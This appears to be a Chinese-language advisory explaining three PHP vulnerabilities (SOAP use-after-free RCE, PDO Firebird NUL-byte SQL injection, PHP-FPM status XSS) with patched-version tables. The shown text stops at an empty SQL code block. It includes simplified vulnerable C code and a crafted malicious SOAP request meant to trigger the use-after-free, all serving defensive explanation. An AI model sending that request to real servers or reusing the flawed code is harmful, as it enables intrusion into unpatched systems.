PHP 三个高危 CVE 紧急修复指南:SOAP RCE + Firebird SQL 注入 + FPM XSS

2026 年 5 月,PHP 官方发布了 8.2.31、8.3.31、8.4.21、8.5.6 等安全更新,集中修复了 10 个安全漏洞。其中 CVE-2026-6722(CVSS 9.5,CRITICAL)为 SOAP 扩展中的 Use-After-Free 漏洞,可被利用实现远程代码执行。本文将深入分析三个高危漏洞的根因、攻击场景,并提供从检测到修复的完整指南。

1. 漏洞全景概览

1.1 三个漏洞速览

2026 年 5 月发布的 PHP 安全版本修复了三个值得重点关注的高危漏洞,按严重程度排序如下:

CVE ID CVSS 评分 等级 漏洞类型 触发条件 影响范围
CVE-2026-6722 9.5 CRITICAL SOAP Use-After-Free → RCE 使用 SoapServer 或 SoapClient 处理 Apache Map 类型的 XML 数据 所有使用 SOAP 扩展的 PHP 应用
CVE-2025-14179 7.4 HIGH PDO Firebird SQL 注入 使用 PDO Firebird 驱动处理含 NUL 字节的用户输入 使用 Firebird 数据库的 PHP 应用
CVE-2026-6735 7.3 HIGH PHP-FPM status 端点 XSS 暴露了 PHP-FPM 的 /status 状态页面 所有启用 PHP-FPM status 页面的服务器

1.2 修复版本对照

以下版本已修复上述三个漏洞以及同批次的其他安全漏洞:

分支 受影响的版本 修复版本 是否仍受支持
PHP 8.5 8.5.x < 8.5.6 8.5.6 是(活跃开发)
PHP 8.4 8.4.x < 8.4.21 8.4.21
PHP 8.3 8.3.x < 8.3.31 8.3.31 是(安全支持)
PHP 8.2 8.2.x < 8.2.31 8.2.31 是(安全支持)
PHP 8.1 8.1.x < 8.1.34 8.1.34 否(已终止支持)
PHP 8.0 及更早 全部 无补丁 否(已终止支持)

关键信息:如果你的 PHP 版本低于 8.2.31,或者使用的是已经终止支持的 PHP 8.0 / 8.1,本文的漏洞都会影响到你。建议立即规划升级到受支持的安全版本。

1.3 漏洞之间的关联

#mermaid-svg-AlnrFSsNOH26rbrP{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-AlnrFSsNOH26rbrP .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-AlnrFSsNOH26rbrP .error-icon{fill:#552222;}#mermaid-svg-AlnrFSsNOH26rbrP .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-AlnrFSsNOH26rbrP .marker{fill:#333333;stroke:#333333;}#mermaid-svg-AlnrFSsNOH26rbrP .marker.cross{stroke:#333333;}#mermaid-svg-AlnrFSsNOH26rbrP svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-AlnrFSsNOH26rbrP p{margin:0;}#mermaid-svg-AlnrFSsNOH26rbrP .edge{stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .section--1 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section--1 path,#mermaid-svg-AlnrFSsNOH26rbrP .section--1 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section--1 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section--1 path{fill:hsl(240, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section--1 text{fill:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon--1{font-size:40px;color:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge--1{stroke:hsl(240, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth--1{stroke-width:17;}#mermaid-svg-AlnrFSsNOH26rbrP .section--1 line{stroke:hsl(60, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-0 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-0 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-0 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-0 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-0 path{fill:hsl(60, 100%, 73.5294117647%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-0 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-0{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-0{stroke:hsl(60, 100%, 73.5294117647%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-0{stroke-width:14;}#mermaid-svg-AlnrFSsNOH26rbrP .section-0 line{stroke:hsl(240, 100%, 83.5294117647%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-1 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-1 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-1 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-1 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-1 path{fill:hsl(80, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-1 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-1{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-1{stroke:hsl(80, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-1{stroke-width:11;}#mermaid-svg-AlnrFSsNOH26rbrP .section-1 line{stroke:hsl(260, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-2 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-2 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-2 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-2 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-2 path{fill:hsl(270, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-2 text{fill:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-2{font-size:40px;color:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-2{stroke:hsl(270, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-2{stroke-width:8;}#mermaid-svg-AlnrFSsNOH26rbrP .section-2 line{stroke:hsl(90, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-3 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-3 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-3 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-3 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-3 path{fill:hsl(300, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-3 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-3{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-3{stroke:hsl(300, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-3{stroke-width:5;}#mermaid-svg-AlnrFSsNOH26rbrP .section-3 line{stroke:hsl(120, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-4 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-4 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-4 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-4 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-4 path{fill:hsl(330, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-4 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-4{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-4{stroke:hsl(330, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-4{stroke-width:2;}#mermaid-svg-AlnrFSsNOH26rbrP .section-4 line{stroke:hsl(150, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-5 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-5 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-5 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-5 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-5 path{fill:hsl(0, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-5 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-5{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-5{stroke:hsl(0, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-5{stroke-width:-1;}#mermaid-svg-AlnrFSsNOH26rbrP .section-5 line{stroke:hsl(180, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-6 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-6 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-6 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-6 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-6 path{fill:hsl(30, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-6 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-6{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-6{stroke:hsl(30, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-6{stroke-width:-4;}#mermaid-svg-AlnrFSsNOH26rbrP .section-6 line{stroke:hsl(210, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-7 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-7 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-7 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-7 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-7 path{fill:hsl(90, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-7 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-7{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-7{stroke:hsl(90, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-7{stroke-width:-7;}#mermaid-svg-AlnrFSsNOH26rbrP .section-7 line{stroke:hsl(270, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-8 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-8 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-8 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-8 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-8 path{fill:hsl(150, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-8 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-8{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-8{stroke:hsl(150, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-8{stroke-width:-10;}#mermaid-svg-AlnrFSsNOH26rbrP .section-8 line{stroke:hsl(330, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-9 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-9 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-9 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-9 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-9 path{fill:hsl(180, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-9 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-9{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-9{stroke:hsl(180, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-9{stroke-width:-13;}#mermaid-svg-AlnrFSsNOH26rbrP .section-9 line{stroke:hsl(0, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-10 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-10 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-10 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-10 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-10 path{fill:hsl(210, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-10 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-10{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-10{stroke:hsl(210, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-10{stroke-width:-16;}#mermaid-svg-AlnrFSsNOH26rbrP .section-10 line{stroke:hsl(30, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-root rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-root path,#mermaid-svg-AlnrFSsNOH26rbrP .section-root circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-root polygon{fill:hsl(240, 100%, 46.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-root text{fill:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .section-root span{color:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .section-2 span{color:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .icon-container{height:100%;display:flex;justify-content:center;align-items:center;}#mermaid-svg-AlnrFSsNOH26rbrP .edge{fill:none;}#mermaid-svg-AlnrFSsNOH26rbrP .mindmap-node-label{dy:1em;alignment-baseline:middle;text-anchor:middle;dominant-baseline:middle;text-align:center;}#mermaid-svg-AlnrFSsNOH26rbrP :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 2026 PHP 高危漏洞
CVE-2026-6722
CVSS 9.5 CRITICAL
SOAP 扩展 UAF
可远程代码执行
触发条件: Apache Map + typemap
CVE-2025-14179
CVSS 7.4 HIGH
PDO Firebird SQL 注入
触发条件: NUL 字节输入
影响: 数据泄露 / 篡改
CVE-2026-6735
CVSS 7.3 HIGH
PHP-FPM Status XSS
触发条件: 暴露状态页面
影响: 会话劫持 / 钓鱼


2. CVE-2026-6722:SOAP 扩展 Use-After-Free 远程代码执行

2.1 漏洞根因分析

CVE-2026-6722 是三个漏洞中最危险的一个。它位于 ext/soap/php_encoding.c 文件中,是 SOAP 扩展在处理 Apache Map 类型数据时的对象去重机制缺陷。

当 SoapServer 或 SoapClient 处理包含 apache:Map 类型的数据时,PHP 的 SOAP 扩展使用 ref_map 指针来跟踪已经处理过的对象,以避免重复处理。这个指针的引用计数管理存在缺陷。

c 复制代码
// php-src/ext/soap/php_encoding.c(漏洞版本简化示意)
zval *to_zval_map(zval *map, ...)
{
    // SOAP 全局 typemap 注册表
    if (SOAP_GLOBAL(typemap)) {
        // ref_map 指针用于 SOAP 对象去重
        // 当 Apache Map 节点被处理时,
        // ref_map 指向栈上的临时变量
        smart_str key = {0};
        
        // 将 Map 的 key 序列化到 key 变量
        serialize_zval(map, &key, ...);
        
        // 查找 ref_map------如果存在则返回已有对象
        zend_hash_str_find(SOAP_GLOBAL(ref_map), key.s->val, key.s->len);
        // ^ 问题: key 中的数据可能已被释放
    }
    
    // 处理 Map 中的 item 节点
    for (item = firstChild; item; item = item->next) {
        // 处理 key
        if (strcmp(item->name, "key") == 0) {
            // ...
        }
        // 处理 value------注意这里本应检查 xmlValue 而非 xmlKey
        else if (strcmp(item->name, "value") == 0) {
            // 漏洞: 此处重复检查了 xmlKey 而非 xmlValue
            // 导致 value 节点可能被错误处理
        }
    }
}

为什么这段代码有风险?根本原因有两点:

缺陷一to_zval_map() 函数在处理 <value> 节点时,错误地复用了 <key> 节点的检查逻辑。xmlKey 被检查了两次,而 xmlValue 从未被检查。

缺陷二 :序列化后的 Map key 存储在栈上的 smart_str 变量中。当 value 节点缺失或格式异常时,这个栈变量可能已超出作用域,但 ref_map 中的指针仍然指向这块已释放的内存。后续 SOAP 请求复用时,这个悬挂指针就会导致 Use-After-Free。

2.2 攻击场景模拟

攻击者可以构造一个特制的 SOAP 请求,利用缺失 <value> 节点的 Apache Map 元素触发漏洞:

xml 复制代码
<!-- 攻击者构造的恶意 SOAP 请求 -->
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:apache="http://xml.apache.org/xml-soap">

  <soap:Body>
    <processOrder>
      <order xsi:type="apache:Map">
        <item>
          <key xsi:type="xsd:string">user_data</key>
          <!-- 注意: 这里没有 <value> 节点 -->
          <!-- 导致 ref_map 指针指向已释放内存 -->
        </item>
      </order>
    </processOrder>
  </soap:Body>
</soap:Envelope>

攻击链路如下:
#mermaid-svg-ePjdxcyIKKsbo1zD{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-ePjdxcyIKKsbo1zD .error-icon{fill:#552222;}#mermaid-svg-ePjdxcyIKKsbo1zD .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-ePjdxcyIKKsbo1zD .marker{fill:#333333;stroke:#333333;}#mermaid-svg-ePjdxcyIKKsbo1zD .marker.cross{stroke:#333333;}#mermaid-svg-ePjdxcyIKKsbo1zD svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-ePjdxcyIKKsbo1zD p{margin:0;}#mermaid-svg-ePjdxcyIKKsbo1zD .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster-label text{fill:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster-label span{color:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster-label span p{background-color:transparent;}#mermaid-svg-ePjdxcyIKKsbo1zD .label text,#mermaid-svg-ePjdxcyIKKsbo1zD span{fill:#333;color:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD .node rect,#mermaid-svg-ePjdxcyIKKsbo1zD .node circle,#mermaid-svg-ePjdxcyIKKsbo1zD .node ellipse,#mermaid-svg-ePjdxcyIKKsbo1zD .node polygon,#mermaid-svg-ePjdxcyIKKsbo1zD .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-ePjdxcyIKKsbo1zD .rough-node .label text,#mermaid-svg-ePjdxcyIKKsbo1zD .node .label text,#mermaid-svg-ePjdxcyIKKsbo1zD .image-shape .label,#mermaid-svg-ePjdxcyIKKsbo1zD .icon-shape .label{text-anchor:middle;}#mermaid-svg-ePjdxcyIKKsbo1zD .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-ePjdxcyIKKsbo1zD .rough-node .label,#mermaid-svg-ePjdxcyIKKsbo1zD .node .label,#mermaid-svg-ePjdxcyIKKsbo1zD .image-shape .label,#mermaid-svg-ePjdxcyIKKsbo1zD .icon-shape .label{text-align:center;}#mermaid-svg-ePjdxcyIKKsbo1zD .node.clickable{cursor:pointer;}#mermaid-svg-ePjdxcyIKKsbo1zD .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-ePjdxcyIKKsbo1zD .arrowheadPath{fill:#333333;}#mermaid-svg-ePjdxcyIKKsbo1zD .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-ePjdxcyIKKsbo1zD .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-ePjdxcyIKKsbo1zD .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-ePjdxcyIKKsbo1zD .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-ePjdxcyIKKsbo1zD .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-ePjdxcyIKKsbo1zD .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster text{fill:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster span{color:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-ePjdxcyIKKsbo1zD .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD rect.text{fill:none;stroke-width:0;}#mermaid-svg-ePjdxcyIKKsbo1zD .icon-shape,#mermaid-svg-ePjdxcyIKKsbo1zD .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-ePjdxcyIKKsbo1zD .icon-shape p,#mermaid-svg-ePjdxcyIKKsbo1zD .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-ePjdxcyIKKsbo1zD .icon-shape .label rect,#mermaid-svg-ePjdxcyIKKsbo1zD .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-ePjdxcyIKKsbo1zD .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-ePjdxcyIKKsbo1zD .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-ePjdxcyIKKsbo1zD :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 是
攻击者发送特制 SOAP 请求

apache:Map + 缺失 value 节点
PHP SOAP 扩展

to_zval_map() 处理请求
key 序列化后存入

栈变量 smart_str
value 节点缺失

smart_str 被释放
ref_map 指针仍指向

已释放的栈内存
攻击者可控制

已释放内存的内容?
用恶意对象覆盖

已释放的内存区域
ref_map 引用恶意对象

触发 Use-After-Free
攻击者构造的代码

在 PHP 进程中执行

2.3 触发条件

CVE-2026-6722 需要满足以下条件才能被利用:

复制代码
条件 A: PHP 使用受影响版本(< 8.2.31 / 8.3.31 / 8.4.21 / 8.5.6)
条件 B: 应用使用 SoapServer 或 SoapClient 处理用户输入的 SOAP 数据
条件 C: SOAP 配置了 typemap(类型映射)
条件 D: 攻击者能够发送包含 apache:Map 节点的 XML 请求

只有 A + B + C + D 同时成立 → 漏洞可利用

实际影响面估算

  • 许多内部服务使用 SOAP 进行系统间通信,尤其是企业套装软件(CRM、ERP、工单系统)
  • 即使不直接暴露给互联网,通过 SSRF 或内部网络横向移动也有可能被利用
  • 在 typemap 未配置的场景下,只会触发空指针解引用导致 DoS,但不会导致 RCE

3. CVE-2025-14179:PDO Firebird SQL 注入(NUL 字节绕过)

3.1 漏洞根因

CVE-2025-14179 的 CVE 编号虽然是 2025 年,但修复补丁在 2026 年 5 月的 PHP 安全版本中才正式发布。漏洞出在 PDO Firebird 驱动的引号转义函数中。

当用户输入中包含 NUL 字节(\0,即 ASCII 0)时,PDO Firebird 驱动的 pdo_firebird_quote() 函数在计算字符串长度时将其视为结束符,导致转义后的字符串被截断,后续的 SQL 片段逃脱了引号保护。

c 复制代码
// ext/pdo_firebird/firebird_driver.c(漏洞版本)
static int pdo_firebird_quote(pdo_dbh_t *dbh,
    const char *input, size_t input_len,
    char **quoted, size_t *quoted_len)
{
    // 计算转义后字符串的长度
    // 问题: 使用 strnlen + strlen 混合计算长度
    size_t len = strnlen(input, input_len);
    
    // 分配内存
    *quoted = emalloc(2 * len + 3);
    
    // 逐字符转义
    char *p = *quoted;
    *p++ = '\'';  // 开头的单引号
    for (size_t i = 0; i < len; i++) {
        if (input[i] == '\'') {
            *p++ = '\'';  // 双写转义:' → ''
        }
        *p++ = input[i];
    }
    *p++ = '\'';  // 结尾的单引号
    *p = '\0';
    *quoted_len = p - *quoted;
}

为什么这段代码有风险?strnlen() 函数将 NUL 字节视为字符串结尾,返回的是 NUL 之前的字符数。但 input_len 参数是 PHP 内部跟踪的 ZSTR 长度,它包括了 NUL 之后的字符。两者不一致导致:

  1. 分配的内存不足(只覆盖了 NUL 之前的部分)
  2. 转义循环只处理了 NUL 之前的部分
  3. NUL 之后的恶意 SQL 语句没有被转义,直接拼接到查询中
sql 复制代码
